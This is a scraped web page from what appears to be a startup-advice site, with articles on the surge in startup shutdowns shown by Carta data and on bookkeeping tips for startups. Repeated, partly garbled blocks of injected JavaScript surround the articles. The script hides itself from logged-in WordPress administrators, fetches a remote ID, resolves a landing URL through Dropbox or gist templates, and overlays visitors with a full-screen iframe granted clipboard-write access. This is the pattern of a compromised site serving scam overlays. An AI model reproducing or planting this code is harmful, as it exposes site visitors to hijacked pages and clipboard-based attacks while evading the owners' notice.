var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

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The data paints a stark picture. Between Q1 2022 and Q1 2023, the number of shutdowns jumped by 124%. And in the most recent quarter, it grew by another 58%. This relentless upward trajectory suggests the startup ecosystem is facing serious headwinds.

It’s important to note that the actual number of shutdowns is likely even higher than the Carta data indicates. Many companies depart the platform without specifying the reason, and it’s reasonable to assume at least some of those were forced closures. Additionally, as the overall number of companies using Carta has grown, the tally of shutdowns has naturally increased.

But even accounting for these factors, the data unmistakably points to a worrying trend. Startup shutdowns are surging at a rate that far outpaces the expansion of the underlying dataset. 

The increasing number of company closures has created a challenging environment for entrepreneurs. In this article, we’ll delve into the factors contributing to this trend, explore strategies for mitigating risks, and offer insights for surviving the current startup downturn.

A Funding Landscape in Flux

So what’s driving this spike in closures? The primary culprit appears to be a dramatic shift in the startup fundraising environment.

After an unprecedented boom in 2021 and early 2022, when venture deal activity reached record highs, the landscape underwent a dramatic reversal. Over the past two years, funding activity has slowed significantly. In Q4 2023, for instance, there were over 1,000 fewer venture deals than in the same period just two years prior.

For startups, this funding crunch has been brutal. The typical interval between new funding rounds is around two to three years. That means many companies that last raised capital in the heady days of 2021 are now finding themselves back on the fundraising trail, only to encounter a far less accommodating investor climate.

When the money runs out and new funding proves elusive, many founders have little choice but to shut down their operations. The startup world can be a ruthless place, and an inability to secure fresh capital often spells the end.

Patterns in the Shutdowns

An analysis of the Carta data reveals some interesting patterns in the types of startups that are succumbing to this funding crisis.

Many of the shuttered companies fall into two key sectors: data infrastructure and software-as-a-service (SaaS). Some are young startups that raised their first funding rounds during the recent market boom, when investors were more willing to take speculative bets. As the climate shifted in 2022 and 2023, these nascent companies were unable to gain traction and find a sustainable footing.

Other shuttered startups are more established players, companies that were born and grew up in a different economic environment. In the heady days of 2020 and 2021, many investors were laser-focused on rapid growth, confident that they could eventually convert those customers into revenue. Today, with the pendulum swinging back toward profitability and early revenue, that equation is no longer adding up for some of these more mature startups.

The funding crunch is also impacting startups across the venture capital spectrum. Between Q1 2023 and Q1 2024, the Carta data shows a 102% increase in seed-stage shutdowns, a 61% rise at Series A, and a staggering 133% jump at Series B. No stage of the startup lifecycle appears immune.

To learn more about the factors behind startup shutdowns, see if you qualify for membership to join Founders Network.

Adapting to a New Reality

It’s important to note that not every struggling startup is doomed to failure. Strategies like cutting costs, pivoting business models, and exploring alternative funding sources have helped some companies weather the storm. But for others, the changes have simply proved too dramatic to overcome.

Perhaps most concerning is the fact that even prior funding doesn’t seem to guarantee protection. Of the 254 companies that shut down on Carta in Q1 2024, 136 had previously raised at least one priced funding round. This was the first time in the past five quarters that shutdowns were more frequent among companies that had raised a priced round than among those that had not.

Strategies for Mitigating Risks

To increase your chances of survival in the current startup environment, consider implementing the following strategies:

• Optimize Your Business Model: Continuously evaluate your business model to ensure it aligns with market trends and customer needs. Be prepared to pivot or adapt as necessary.
• Prioritize Profitability: Focus on achieving profitability as early as possible to reduce your reliance on external funding.
• Build a Strong Network: Cultivate relationships with investors, mentors, and industry experts to gain valuable insights and support.
• Manage Cash Flow Carefully: Monitor your cash flow closely and implement strategies to conserve resources during challenging times.
• Explore Alternative Funding Sources: Consider alternative funding options such as crowdfunding, debt financing, or strategic partnerships.

Even in the face of adversity, there are opportunities for startups to thrive. By adopting a resilient mindset and taking proactive steps, you can navigate the current downturn and emerge stronger.

• Focus on Core Competencies: Double down on your core strengths and leverage your unique value proposition.
• Build a Strong Team: Surround yourself with talented and dedicated individuals who share your vision.
• Embrace Innovation: Continuously seek out new opportunities and be willing to embrace innovative approaches.
• Learn from Failures: View setbacks as learning experiences and use them to improve your business.

Looking Ahead

The message is clear: No startup is immune to the current funding crunch. Whether you’re a freshly minted seed-stage company or a battle-hardened Series B player, the path ahead is treacherous. Founders and investors must be vigilant, nimble, and willing to make tough decisions if they hope to navigate these turbulent waters.

The startup ecosystem has weathered downturns before, but the current situation appears uniquely challenging. As the startup shutdown numbers continue to climb, entrepreneurs must carefully assess their runway, explore every option to shore up funding, and be prepared to make tough choices if the situation becomes untenable.

To learn more about the factors behind startup shutdowns, see if you qualify for membership to join Founders Network.

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This guide offers practical, actionable bookkeeping tips for startups, tailored for young startups who need bookkeeping, accounting, and tax filing assistance. From tracking income and expenses to preparing financial statements and seeking professional advice, we’ll cover key areas to ensure your startup’s financial health. This article is Discover how to establish a solid financial foundation and make informed decisions to propel your business forward.

Tip #1: What Are the Key Bookkeeping Basics Every Startup Should Know?

Understanding the Importance of Accurate Financial Records

Accurate financial records are the backbone of your startup. They help you track income and expenses, and provide a clear picture of your startup’s financial health.

Good records are essential for making informed decisions, preparing for tax season, and securing funding. Keep every receipt, invoice, and financial document organized.

This will save you headaches down the line and ensure you’re always ready for any financial scrutiny. Accurate records also help you balance your books and avoid errors in your bookkeeping and accounting.

Setting Up a Chart of Accounts Tailored to Your Startup

A chart of accounts is a list of all your startup’s accounts, including assets, liabilities, income, and expenses. Tailor it to fit your specific startup’s needs. This organization makes it easier to track where your money is coming from and where it’s going, which is essential for managing your finances effectively. Using an accounting system or accounting software can help streamline this process.

Regularly Reconciling Bank Statements

Reconciling your bank statements means comparing your accounting records to your bank account statements to ensure they match. Do this monthly to catch any discrepancies or errors early. It’s a simple yet powerful step to prevent fraud, avoid overdrafts, and ensure your financial records are accurate.

Make it a habit; it only takes a few minutes but can save you from major issues. Regular reconciliation helps maintain the accuracy of your financial statements and supports great bookkeeping practices.

Tip #2: How Can the Right Accounting Software Streamline Your Startup’s Finances?

Choosing the Best Accounting Software for Startups

Choosing the right accounting software can transform how you handle your finances. Look for software that’s user-friendly and suits your business size and type. Popular options like QuickBooks and Xero offer features like invoicing, expense tracking, and financial reporting.

Make sure the software you choose can grow with your business and meet all your bookkeeping needs. The right software helps you manage tasks like data entry, bank reconciliations, and preparing for tax returns efficiently.

Integrating Your Accounting Software with Other Business Tools

Integration is key to streamlining your business operations. Your accounting software should seamlessly connect with other tools you use, like your CRM or project management software. This integration reduces manual data entry, minimizes errors, and ensures your financial data is up-to-date across all platforms.

It saves time and allows you to focus more on growing your business. Integrated systems help you manage tasks like tracking expenses, managing accounts receivable, and generating financial statements.

Leveraging Automation to Save Time and Reduce Errors

Automation in accounting software can handle repetitive tasks like invoicing, expense tracking, and payroll. Set up automated reminders for invoice payments or automatic categorization of expenses. This not only saves you a lot of time but also reduces the risk of human error.

Automation ensures consistency and accuracy in your financial records, making your bookkeeping more efficient and less stressful. Automating tasks helps maintain the accuracy of your journal entries and supports a streamlined approach to managing your business finances.

To learn more bookkeeping tips for startups, see if you qualify for membership to join Founders Network.

Tip #3: What Financial Statements Should Startups Prepare Regularly?

The Role of Income Statements in Tracking Profitability

The income statement, or profit and loss statement, shows your revenue, expenses, and profit over a specific period. It’s vital for understanding how profitable your business is. Regularly reviewing your income statement helps you see where you’re making money and where you might be overspending.

It’s an essential tool for making strategic business decisions and setting financial goals. Accurate income statements help you boost your bottom line and track your business’s financial performance.

Understanding the Balance Sheet for Financial Health

The balance sheet provides a snapshot of your startup’s financial position at a specific point in time. It lists your assets, liabilities, and equity. Understanding your balance sheet helps you gauge your business’s stability and liquidity.

It shows what you own versus what you owe, helping you make informed decisions about investments and financing. Regularly reviewing your balance sheet ensures you have a clear picture of your business’s financial health and helps you safeguard your assets.

Cash Flow Statements: Why They Matter

A cash flow statement tracks the flow of cash in and out of your business. It’s vital for ensuring you have enough cash to cover your expenses. Regularly reviewing your cash flow statement helps you identify patterns in your cash usage, plan for upcoming expenses, and avoid cash shortages.

It’s a critical tool for maintaining the financial health of your startup. Proper cash flow management helps you ensure timely payments and maintain liquidity, which is essential for growing your business.

Tip #4: How Can Startups Manage Expenses and Credit Effectively?

Best Practices for Tracking Startup Expenses

Tracking business expenses is significant for understanding where your money goes and for maximizing your deductions come tax season. Keep all receipts and invoices organized, preferably using accounting software that allows you to categorize and store digital copies.

Regularly update your records and reconcile your accounts to catch any discrepancies early. Using a dedicated business bank account simplifies this process, ensuring your personal and business expenses are clearly separated. Many entrepreneurs find that having a precise and organized bookkeeping system is the best practice for managing their finances.

Managing Business Credit Cards and Loans

Properly managing business credit cards and loans is essential for maintaining good credit and cash flow. Always pay your credit card bills on time to avoid interest charges and late fees.

Keep track of your loan repayment schedules and try to pay more than the minimum when possible to reduce interest over time. Use accounting software to monitor your balances and ensure you don’t exceed your credit limits.

Regular reviews of your credit statements can help you catch any unauthorized transactions early. Opting for professional bookkeeping services can streamline this process and save you money in the long run.

Strategies for Reducing Unnecessary Costs

Cutting unnecessary costs can boost your bottom line and free up resources for growth. Start by reviewing your monthly expenses and identifying any services or subscriptions that aren’t essential.

Negotiate with suppliers for better rates or explore bulk purchasing discounts. Consider outsourcing non-core tasks to reduce overheads. Implementing energy-saving measures and going paperless can also save money.

Regularly review your expense reports to identify further areas for cost-cutting. By putting together a straightforward plan, you’ll be able to manage your company’s finances more efficiently.

Tip #5: Why Is It Vital to Work with a Professional Accountant?

The Benefits of Hiring a Bookkeeping Professional

Hiring a bookkeeping professional can save you time and reduce stress, allowing you to focus on growing your business. A professional bookkeeper ensures your financial records are accurate and up-to-date, helping you make informed decisions.

They can handle complex tasks like payroll, invoicing, and bank reconciliations, and provide valuable insights into your business’s financial health.

This expertise can help you avoid costly mistakes and stay compliant with tax laws. For many startups, opting for professional bookkeeping services is a manageable way to handle their financial needs.

How to Choose the Right Accountant for Your Startup

Choosing the right accountant for your startup involves considering your specific needs and the accountant’s expertise. Look for someone who understands your industry and has experience with businesses of your size. Check their credentials and ask for references.

A good accountant should offer personalized service and be proactive in helping you manage your finances. They should also be familiar with the latest accounting software to streamline your bookkeeping processes. This is vital whether you’re a sole proprietor or have a more complex business structure.

Understanding the Value of Professional Tax Advice

Professional tax advice is invaluable for ensuring you comply with tax laws and maximize your deductions. An accountant can help you navigate the complexities of tax regulations, identify applicable tax credits, and plan strategies to minimize your tax liability.

They can also assist with preparing and filing your tax returns accurately and on time, reducing the risk of audits and penalties. This proactive approach to tax planning can save you money and give you peace of mind. Don’t procrastinate when it comes to taxation; an accounting professional can help you decide the best course of action for your startup.

How can Taxfyle help?

Finding an accountant to manage your startup’s bookkeeping and file its taxes is a big decision. And odds are, you and your staff are already wearing multiple hats to fulfil the diverse set of roles needed to keep your startup running smoothly. Luckily, Taxfyle lets you get professional accounting support without significantly increasing your overhead expenses.

Taxfyle, connects startups with licensed, experienced CPAs or EAs in the US. The professionals using their platform are licensed accountants averaging more than a dozen years of industry experience. That means they can take care of the tedious accounting work while your startup focuses more on growth. 

To learn more bookkeeping tips for startups, see if you qualify for membership to join Founders Network.

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function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();